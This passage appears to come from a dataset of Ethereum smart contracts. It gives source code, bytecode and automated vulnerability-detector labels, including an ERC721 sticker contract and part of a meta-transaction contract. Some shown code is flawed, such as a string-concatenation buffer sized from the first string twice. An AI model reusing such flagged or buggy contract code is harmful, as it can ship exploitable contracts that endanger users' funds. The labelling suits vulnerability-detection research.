0009081526008602052604090205490935091508615801590610d645750868814155b15610da65750600086815260096020908152604080832054848452600a909252909120600201548114610da6576000828152600a602052604090206002018190555b610db4828a838b878b611ed8565b91989197509095505050505050565b600080808033803b8015610e0f576040805160e560020a62461bcd02815260206004820152600b602482015260008051602061218c833981519152604482015290519081900360640190fd5b600654871115610e69576040805160e560020a62461bcd02815260206004820152601660248201527f47616d6520646f65736e27742065786973742079657400000000000000000000604482015290519081900360640190fd5b336000818152600860205260409020549096509450841515610ed5576040805160e560020a62461bcd02815260206004820152601d60248201527f596f7520646f6e74206576656e206861766520616e206163636f756e74000000604482015290519081900360640190fd5b6000858152600a602081815260408084206003808201548d8752908452828620548b875294909352600181015460029091015482517f49cc635d000000000000000000000000000000000000000000000000000000008152600481018c9052600160a060020a038d81166024830152604482019390935260648101919091529151929850909216926349cc635d926084808201939182900301818387803b158015610f7f57600080fd5b505af1158015610f93573d6000803e3d6000fd5b50505050600184111561105957600192505b83831161105957600087815260036020908152604080832054888452600c83528184208785529092528083205481517f8f7140ea000000000000000000000000000000000000000000000000000000008152600481018a905260248101919091529051600160a060020a0390921692638f7140ea9260448084019382900301818387803b15801561103557600080fd5b505af1158015611049573d6000803e3d6000fd5b505060019094019350610fa59050565b50505050505050565b6000908152600a602052604090206001015490565b600080808033803b80156110c3576040805160e560020a62461bcd02815260206004820152600b602482015260008051602061218c833981519152604482015290519081900360640190fd5b6110cc89611643565b95503394506110da85611e56565b600160a060020a0386166000908152600860205260409020549094509250871580159061111857506000838152600a60205260409020600201548814155b80156111245750828814155b15611142576000838152600a60205260409020600201889055611147565b600097505b6108fb83868a89888c611ed8565b600c60209081526000928352604080842090915290825290205481565b336000908152600560205260408120548190819081908190151561119557600080fd5b61119e89611e56565b600160a060020a03808b166000908152600860205260409020549194509092508716158015906111e0575088600160a060020a031687600160a060020a031614155b15610da65750600160a060020a038616600090815260086020908152604080832054848452600a909252909120600201548114610da6576000828152600a60205260409020600201819055610db4828a838b878b611ed8565b60008033803b8015611283576040805160e560020a62461bcd02815260206004820152600b602482015260008051602061218c833981519152604482015290519081900360640190fd5b61128c85611643565b33600090815260086020908152604080832054808452600b835281842085855290925290912054919550935060ff161515600114611314576040805160e560020a62461bcd02815260206004820152601860248201527f5468617473206e6f742061206e616d6520796f75206f776e0000000000000000604482015290519081900360640190fd5b50506000908152600a602052604090206001015550565b60065481565b336000908152600560205260408120548190819081908190151561135457600080fd5b61135d89611e56565b600160a060020a038a166000908152600860205260409020549093509150869050801580159061139e57506000828152600a60205260409020600201548114155b80156113aa5750818114155b156113c8576000828152600a60205260409020600201819055610da6565b81811415610da657506000610db4828a838b878b611ed8565b3360009081526001602052604090205460098114611449576040805160e560020a62461bcd02815260206004820152600e60248201527f4d7573742062652061646d696e2e000000000000000000000000000000000000604482015290519081900360640190fd5b50600255565b600360205260009081526040902054600160a060020a031681565b60056020526000908152604090205481565b600a602052600090815260409020805460018201546002830154600390930154600160a060020a0390921692909184565b6000908152600a602052604090206002015490565b60006114cd82611e56565b5050600160a060020a031660009081526008602052604090205490565b3360009081526001602052604090205460098114611552576040805160e560020a62461bcd02815260206004820152600e60248201527f4d7573742062652061646d696e2e000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03821615156115b2576040805160e560020a62461bcd02815260206004820152601a60248201527f456d7074792061646472657373206e6f7420616c6c6f7765642e000000000000604482015290519081900360640190fd5b600054600160a060020a031615611613576040805160e560020a62461bcd02815260206004820152601f60248201527f436f6d6d756e697479206164647265737320686173206265656e207365742e00604482015290519081900360640190fd5b506000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b805160009082908280806020841180159061165e5750600084115b15156116da576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b8460008151811015156116e957fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141580156117505750846001850381518110151561172857fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b15156117cc576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8460008151811015156117db57fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a02141561191e5784600181518110151561181557fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515611892576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b8460018151811015156118a157fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a021415151561191e576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b83821015611dee5784517f40000000000000000000000000000000000000000000000000000000000000009086908490811061195b57fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156119cf575084517f5b00000000000000000000000000000000000000000000000000000000000000908690849081106119b057fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15611a3c5784828151811015156119e257fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a028583815181101515611a1357fe5b906020010190600160f860020a031916908160001a905350821515611a3757600192505b611de3565b8482815181101515611a4a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021480611b1a575084517f600000000000000000000000000000000000000000000000000000000000000090869084908110611aa657fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015611b1a575084517f7b0000000000000000000000000000000000000000000000000000000000000090869084908110611afb57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b80611bc4575084517f2f0000000000000000000000000000000000000000000000000000000000000090869084908110611b5057fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015611bc4575084517f3a0000000000000000000000000000000000000000000000000000000000000090869084908110611ba557fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1515611c40576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8482815181101515611c4e57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021415611d2d578482600101815181101515611c8a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214151515611d2d576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015611dd9575084517f300000000000000000000000000000000000000000000000000000000000000090869084908110611d6657fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080611dd9575084517f390000000000000000000000000000000000000000000000000000000000000090869084908110611dba57fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b15611de357600192505b600190910190611923565b600183151514611e48576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b600160a060020a0381166000908152600860205260408120541515611ed0575060078054600190810191829055600160a060020a0383166000818152600860209081526040808320869055948252600a905292909220805473ffffffffffffffffffffffffffffffffffffffff1916909217909155610bec565b506000610bec565b60008381526009602052604081205415611f62576000878152600b6020908152604080832087845290915290205460ff161515600114611f62576040805160e560020a62461bcd02815260206004820152601860248201527f54686174206e616d657320616c72656164792074616b656e0000000000000000604482015290519081900360640190fd5b6000878152600a60209081526040808320600101879055868352600982528083208a9055898352600b825280832087845290915290205460ff161515611ff2576000878152600b602090815260408083208784528252808320805460ff191660019081179091558a8452600a8352818420600301805490910190819055600c835281842090845290915290208490555b60003031111561204a57600054600160a060020a03161561204a5760008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015612048573d6000803e3d6000fd5b505b60018215151415612108575060015b6006548111612108576000818152600360205260408082205481517f49cc635d000000000000000000000000000000000000000000000000000000008152600481018b9052600160a060020a038a8116602483015260448201899052606482018a9052925192909116926349cc635d9260848084019382900301818387803b1580156120e457600080fd5b505af11580156120f8573d6000803e3d6000fd5b5050600190920191506120599050565b6000858152600a6020908152604091829020805460019091015483518715158152928301899052600160a060020a039182168385015260608301523460808301524260a0830152915186928916918a917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e644429181900360c00190a450505050505050560048756d616e73206f6e6c79000000000000000000000000000000000000000000a165627a7a7230582025508bc72d1ec741dfc3a25ffa07cd82f61e66501d6ae60c5376060ff11632450029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,581 |
0x7ea3243fda451d34fd1127add91a8e9a73168ff9 | pragma solidity ^0.5.2;
interface ERC721TokenReceiver {
/**
* @dev Handle the receipt of a NFT. The ERC721 smart contract calls this function on the
* recipient after a `transfer`. This function MAY throw to revert and reject the transfer. Return
* of other than the magic value MUST result in the transaction being reverted.
* Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` unless throwing.
* @notice The contract address is always the message sender. A wallet/broker/auction application
* MUST implement the wallet interface if it will accept safe transfers.
* @param _operator The address which called `safeTransferFrom` function.
* @param _from The address which previously owned the token.
* @param _tokenId The NFT identifier which is being transferred.
* @param _data Additional data with no specified format.
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns(bytes4);
}
contract ICOStickers {
using SafeMath for uint256;
using SafeMath for int256;
address constant internal NULL_ADDRESS = 0x0000000000000000000000000000000000000000;
// ERC721 requires ERC165
mapping(bytes4 => bool) internal supportedInterfaces;
// ERC721
address[] internal idToOwner;
address[] internal idToApprovals;
mapping (address => uint256) internal ownerToNFTokenCount;
mapping (address => mapping (address => bool)) internal ownerToOperators;
bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
// ERC721Metadata
string constant public name = "0xchan ICO Stickers";
string constant public symbol = "ZCIS";
// Custom
string constant internal uriStart = "https://0xchan.net/stickers/obj_properties/";
uint256[] public tokenProperty;
address[] public originalTokenOwner;
address internal badgeGiver;
address internal owner;
address internal newOwner;
// ERC721 Events
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender
|| getApproved(_tokenId) == msg.sender
|| ownerToOperators[tokenOwner][msg.sender]
);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != NULL_ADDRESS);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBadgeGiver {
require(msg.sender == badgeGiver);
_;
}
constructor() public {
supportedInterfaces[0x01ffc9a7] = true; // ERC165
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata
supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable
owner = msg.sender;
badgeGiver = msg.sender;
}
// Custom functions
function setNewOwner(address o) public onlyOwner {
newOwner = o;
}
function acceptNewOwner() public {
require(msg.sender == newOwner);
owner = msg.sender;
}
function revokeOwnership() public onlyOwner {
owner = NULL_ADDRESS;
newOwner = NULL_ADDRESS;
}
function giveSticker(address _to, uint256 _property) public onlyBadgeGiver {
require(_to != NULL_ADDRESS);
uint256 _tokenId = tokenProperty.length;
idToOwner.length ++;
idToApprovals.length ++;
tokenProperty.length ++;
originalTokenOwner.length ++;
addNFToken(_to, _tokenId);
tokenProperty[_tokenId] = _property;
originalTokenOwner[_tokenId] = _to;
emit Transfer(NULL_ADDRESS, _to, _tokenId);
}
// ERC721Enumerable functions
function totalSupply() external view returns(uint256) {
return tokenProperty.length;
}
function tokenOfOwnerByIndex(uint256 _tokenId) external view returns(address _owner) {
_owner = idToOwner[_tokenId];
require(_owner != NULL_ADDRESS);
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < tokenProperty.length);
return _index;
}
// ERC721Metadata functions
function tokenURI(uint256 _tokenId) validNFToken(_tokenId) public view returns (string memory)
{
return concatStrings(uriStart, uint256ToString(_tokenId));
}
// ERC721 functions
function balanceOf(address _owner) external view returns(uint256) {
require(_owner != NULL_ADDRESS);
return ownerToNFTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) external view returns(address _owner){
_owner = idToOwner[_tokenId];
require(_owner != NULL_ADDRESS);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function supportsInterface(bytes4 _interfaceID) external view returns(bool) {
return supportedInterfaces[_interfaceID];
}
function transferFrom(address _from, address _to, uint256 _tokenId) external canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != NULL_ADDRESS);
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external canOperate(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApprovals[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
require(_operator != NULL_ADDRESS);
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) public view validNFToken(_tokenId) returns (address){
return idToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns(bool) {
require(_owner != NULL_ADDRESS);
require(_operator != NULL_ADDRESS);
return ownerToOperators[_owner][_operator];
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) internal canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != NULL_ADDRESS);
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _transfer(address _to, uint256 _tokenId) private {
address from = idToOwner[_tokenId];
clearApproval(_tokenId);
removeNFToken(from, _tokenId);
addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function clearApproval(uint256 _tokenId) private {
if(idToApprovals[_tokenId] != NULL_ADDRESS){
delete idToApprovals[_tokenId];
}
}
function removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from);
assert(ownerToNFTokenCount[_from] > 0);
ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1;
delete idToOwner[_tokenId];
}
function addNFToken(address _to, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == NULL_ADDRESS);
idToOwner[_tokenId] = _to;
ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to].add(1);
}
//If bytecode exists at _addr then the _addr is a contract.
function isContract(address _addr) internal view returns(bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// Functions used for generating the URI
function amountOfZeros(uint256 num, uint256 base) public pure returns(uint256){
uint256 result = 0;
num /= base;
while (num > 0){
num /= base;
result += 1;
}
return result;
}
function uint256ToString(uint256 num) public pure returns(string memory){
if (num == 0){
return "0";
}
uint256 numLen = amountOfZeros(num, 10) + 1;
bytes memory result = new bytes(numLen);
while(num != 0){
numLen -= 1;
result[numLen] = byte(uint8((num - (num / 10 * 10)) + 48));
num /= 10;
}
return string(result);
}
function concatStrings(string memory str1, string memory str2) public pure returns (string memory){
uint256 str1Len = bytes(str1).length;
uint256 str2Len = bytes(str2).length;
uint256 resultLen = str1Len + str1Len;
bytes memory result = new bytes(resultLen);
uint256 i;
for (i = 0; i < str1Len; i += 1){
result[i] = bytes(str1)[i];
}
for (i = 0; i < str2Len; i += 1){
result[i + str1Len] = bytes(str2)[i];
}
return string(result);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if (a == 0 || b == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns(uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
/**
* @dev Subtracts two numbers, throws on underflow
*/
function sub(int256 a, int256 b) internal pure returns(int256 c) {
c = a - b;
assert(c <= a);
return c;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(int256 a, int256 b) internal pure returns(int256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | 0x608060405234801561001057600080fd5b5060043610610190576000357c010000000000000000000000000000000000000000000000000000000090048063589e74be116100fb578063b88d4fde116100b4578063ce7e51e31161008e578063ce7e51e314610650578063e985e9c51461066d578063f05a781d1461069b578063f5a1f5b4146106a357610190565b8063b88d4fde14610586578063c87a2b3d14610616578063c87b56dd1461063357610190565b8063589e74be146104db578063595a161b146105075780636352211e1461046b57806370a082311461052a57806395d89b4114610550578063a22cb4651461055857610190565b806318160ddd1161014d57806318160ddd1461042557806323b872dd1461042d5780632b968958146104635780634245f3da1461046b57806342842e0e146104885780634f6ccce7146104be57610190565b806301ffc9a71461019557806306fdde03146101e5578063081812fc1461026257806308c243aa1461029b578063095ea7b3146102ca57806312600aa3146102f8575b600080fd5b6101d1600480360360208110156101ab57600080fd5b50357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166106c9565b604080519115158252519081900360200190f35b6101ed610701565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022757818101518382015260200161020f565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027f6004803603602081101561027857600080fd5b5035610738565b60408051600160a060020a039092168252519081900360200190f35b6102b8600480360360208110156102b157600080fd5b503561079f565b60408051918252519081900360200190f35b6102f6600480360360408110156102e057600080fd5b50600160a060020a0381351690602001356107be565b005b6101ed6004803603604081101561030e57600080fd5b81019060208101813564010000000081111561032957600080fd5b82018360208201111561033b57600080fd5b8035906020019184600183028401116401000000008311171561035d57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103b057600080fd5b8201836020820111156103c257600080fd5b803590602001918460018302840111640100000000831117156103e457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108fb945050505050565b6102b8610a2a565b6102f66004803603606081101561044357600080fd5b50600160a060020a03813581169160208101359091169060400135610a31565b6102f6610b43565b61027f6004803603602081101561048157600080fd5b5035610b78565b6102f66004803603606081101561049e57600080fd5b50600160a060020a03813581169160208101359091169060400135610bac565b6102b8600480360360208110156104d457600080fd5b5035610bcd565b6102f6600480360360408110156104f157600080fd5b50600160a060020a038135169060200135610be2565b6102b86004803603604081101561051d57600080fd5b5080359060200135610ceb565b6102b86004803603602081101561054057600080fd5b5035600160a060020a0316610d23565b6101ed610d56565b6102f66004803603604081101561056e57600080fd5b50600160a060020a0381351690602001351515610d8d565b6102f66004803603608081101561059c57600080fd5b600160a060020a038235811692602081013590911691604082013591908101906080810160608201356401000000008111156105d757600080fd5b8201836020820111156105e957600080fd5b8035906020019184600183028401116401000000008311171561060b57600080fd5b509092509050610e10565b61027f6004803603602081101561062c57600080fd5b5035610e59565b6101ed6004803603602081101561064957600080fd5b5035610e81565b6101ed6004803603602081101561066657600080fd5b5035610ee9565b6101d16004803603604081101561068357600080fd5b50600160a060020a0381358116916020013516610fd7565b6102f6611032565b6102f6600480360360208110156106b957600080fd5b5035600160a060020a031661105d565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19811660009081526020819052604090205460ff165b919050565b60408051808201909152601381527f30786368616e2049434f20537469636b65727300000000000000000000000000602082015281565b6000816000600160a060020a031660018281548110151561075557fe5b600091825260209091200154600160a060020a0316141561077557600080fd5b600280548490811061078357fe5b600091825260209091200154600160a060020a03169392505050565b60058054829081106107ad57fe5b600091825260209091200154905081565b8060006001828154811015156107d057fe5b600091825260209091200154600160a060020a03169050338114806108185750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b151561082357600080fd5b6001805484916000918390811061083657fe5b600091825260209091200154600160a060020a0316141561085657600080fd5b600060018581548110151561086757fe5b600091825260209091200154600160a060020a039081169150861681141561088e57600080fd5b8560028681548110151561089e57fe5b600091825260208220018054600160a060020a031916600160a060020a03938416179055604051879289811692908516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a4505050505050565b8151815160408051838001808252601f19601f82011682016020019092526060939291908490828015610935576020820181803883390190505b50905060005b848110156109aa57878181518110151561095157fe5b90602001015160f860020a900460f860020a02828281518110151561097257fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060010161093b565b5060005b83811015610a1f5786818151811015156109c457fe5b90602001015160f860020a900460f860020a02828683018151811015156109e757fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506001016109ae565b509695505050505050565b6005545b90565b806000600182815481101515610a4357fe5b600091825260209091200154600160a060020a0316905033811480610a78575033610a6d83610738565b600160a060020a0316145b80610aa65750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b1515610ab157600080fd5b60018054849160009183908110610ac457fe5b600091825260209091200154600160a060020a03161415610ae457600080fd5b6000600185815481101515610af557fe5b600091825260209091200154600160a060020a03908116915087168114610b1b57600080fd5b600160a060020a0386161515610b3057600080fd5b610b3a8686611096565b50505050505050565b600854600160a060020a03163314610b5a57600080fd5b60088054600160a060020a0319908116909155600980549091169055565b6000600182815481101515610b8957fe5b600091825260209091200154600160a060020a031690508015156106fc57600080fd5b610bc88383836020604051908101604052806000815250611121565b505050565b6005546000908210610bde57600080fd5b5090565b600754600160a060020a03163314610bf957600080fd5b600160a060020a0382161515610c0e57600080fd5b6005546001805490610c2290828101611557565b506002805490610c359060018301611557565b506005805490610c489060018301611557565b506006805490610c5b9060018301611557565b50610c66838261139f565b81600582815481101515610c7657fe5b906000526020600020018190555082600682815481101515610c9457fe5b600091825260208220018054600160a060020a031916600160a060020a039384161790556040518392861691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4505050565b6000808284811515610cf957fe5b0493505b6000841115610d1c578284811515610d1157fe5b049350600101610cfd565b9392505050565b6000600160a060020a0382161515610d3a57600080fd5b50600160a060020a031660009081526003602052604090205490565b60408051808201909152600481527f5a43495300000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a0382161515610da257600080fd5b336000818152600460209081526040808320600160a060020a03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b610e5285858585858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061112192505050565b5050505050565b6006805482908110610e6757fe5b600091825260209091200154600160a060020a0316905081565b6060816000600160a060020a0316600182815481101515610e9e57fe5b600091825260209091200154600160a060020a03161415610ebe57600080fd5b610d1c606060405190810160405280602b8152602001611591602b9139610ee485610ee9565b6108fb565b6060811515610f2c575060408051808201909152600181527f300000000000000000000000000000000000000000000000000000000000000060208201526106fc565b6000610f3983600a610ceb565b60010190506060816040519080825280601f01601f191660200182016040528015610f6b576020820181803883390190505b5090505b8315610d1c5760001990910190600a8404600a02840360300160f860020a028183815181101515610f9c57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a84049350610f6f565b6000600160a060020a0383161515610fee57600080fd5b600160a060020a038216151561100357600080fd5b50600160a060020a03918216600090815260046020908152604080832093909416825291909152205460ff1690565b600954600160a060020a0316331461104957600080fd5b60088054600160a060020a03191633179055565b600854600160a060020a0316331461107457600080fd5b60098054600160a060020a031916600160a060020a0392909216919091179055565b60006001828154811015156110a757fe5b600091825260209091200154600160a060020a031690506110c782611442565b6110d18183611499565b6110db838361139f565b8183600160a060020a031682600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b81600060018281548110151561113357fe5b600091825260209091200154600160a060020a031690503381148061116857503361115d83610738565b600160a060020a0316145b806111965750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b15156111a157600080fd5b600180548591600091839081106111b457fe5b600091825260209091200154600160a060020a031614156111d457600080fd5b60006001868154811015156111e557fe5b600091825260209091200154600160a060020a0390811691508816811461120b57600080fd5b600160a060020a038716151561122057600080fd5b61122a8787611096565b6112338761153c565b15611395576040517f150b7a020000000000000000000000000000000000000000000000000000000081523360048201818152600160a060020a038b81166024850152604484018a9052608060648501908152895160848601528951600095928d169463150b7a029490938f938e938e939260a4019060208501908083838e5b838110156112cb5781810151838201526020016112b3565b50505050905090810190601f1680156112f85780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15801561131a57600080fd5b505af115801561132e573d6000803e3d6000fd5b505050506040513d602081101561134457600080fd5b505190507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1981167f150b7a02000000000000000000000000000000000000000000000000000000001461139357600080fd5b505b5050505050505050565b6001805460009190839081106113b157fe5b600091825260209091200154600160a060020a0316146113d057600080fd5b816001828154811015156113e057fe5b60009182526020808320919091018054600160a060020a031916600160a060020a03948516179055918416815260039091526040902054611422906001611544565b600160a060020a0390921660009081526003602052604090209190915550565b60028054600091908390811061145457fe5b600091825260209091200154600160a060020a03161461149657600280548290811061147c57fe5b60009182526020909120018054600160a060020a03191690555b50565b81600160a060020a03166001828154811015156114b257fe5b600091825260209091200154600160a060020a0316146114d157600080fd5b600160a060020a038216600090815260036020526040812054116114f157fe5b600160a060020a03821660009081526003602052604090208054600019019055600180548290811061151f57fe5b60009182526020909120018054600160a060020a03191690555050565b6000903b1190565b8181018281101561155157fe5b92915050565b815481835581811115610bc857600083815260209020610bc8918101908301610a2e91905b80821115610bde576000815560010161157c56fe68747470733a2f2f30786368616e2e6e65742f737469636b6572732f6f626a5f70726f706572746965732fa165627a7a72305820179498e1c0dfc06424fb6733b022cfdcdf9409e4cae8babcde9764aba357bc870029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,582 |
0x7a9575b7985dd34fc4a2095bd1456290c8c89c32 | /**
*Submitted for verification at Etherscan.io on 2020-06-30
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-18
*/
/**
*Submitted for verification at Etherscan.io on 2020-01-23
*/
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a); // dev: overflow
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a); // dev: underflow
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b); // dev: overflow
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0); // dev: divide by zero
c = a / b;
}
}
pragma experimental ABIEncoderV2;
contract BasicMetaTransaction {
using SafeMath for uint256;
event MetaTransactionExecuted(address userAddress, address payable relayerAddress, bytes functionSignature);
mapping(address => uint256) nonces;
function getChainID() public pure returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Main function to be called when user wants to execute meta transaction.
* The actual function to be called should be passed as param with name functionSignature
* Here the basic signature recovery is being used. Signature is expected to be generated using
* personal_sign method.
* @param userAddress Address of user trying to do meta transaction
* @param functionSignature Signature of the actual function to be called via meta transaction
* @param message Message to be signed by the user
* @param length Length of complete message that was signed
* @param sigR R part of the signature
* @param sigS S part of the signature
* @param sigV V part of the signature
*/
function executeMetaTransaction(address userAddress,
bytes memory functionSignature, string memory message, string memory length,
bytes32 sigR, bytes32 sigS, uint8 sigV) public payable returns(bytes memory) {
require(verify(userAddress, message, length, nonces[userAddress], getChainID(), sigR, sigS, sigV), "Signer and signature do not match");
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(abi.encodePacked(functionSignature, userAddress));
require(success, "Function call not successfull");
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(userAddress, msg.sender, functionSignature);
return returnData;
}
function getNonce(address user) public view returns(uint256 nonce) {
nonce = nonces[user];
}
function verify(address owner, string memory message, string memory length, uint256 nonce, uint256 chainID,
bytes32 sigR, bytes32 sigS, uint8 sigV) public pure returns (bool) {
string memory nonceStr = uint2str(nonce);
string memory chainIDStr = uint2str(chainID);
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", length, message, nonceStr, chainIDStr));
